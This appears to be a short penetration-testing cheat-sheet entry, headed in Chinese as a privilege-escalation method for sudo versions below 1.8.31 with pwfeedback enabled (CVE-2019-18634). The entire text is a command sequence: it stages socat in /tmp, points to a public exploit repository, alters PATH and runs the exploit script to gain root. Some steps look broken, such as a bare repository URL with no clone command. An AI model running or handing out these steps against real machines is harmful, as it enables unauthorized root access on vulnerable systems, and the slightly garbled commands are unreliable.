sudo <1.8.31 pwfeedback提权


cd /tmp
apt download socat 
tar zxvvf socat.tar.gz
dpkg -x socat/socat*.deb .
rm -rf socat
cp usr/bin/socat .
https://github.com/Plazmaz/CVE-2019-18634.git
cd CVE-2019-18634/src
export PATH=/tmp:$PATH
bash run.sh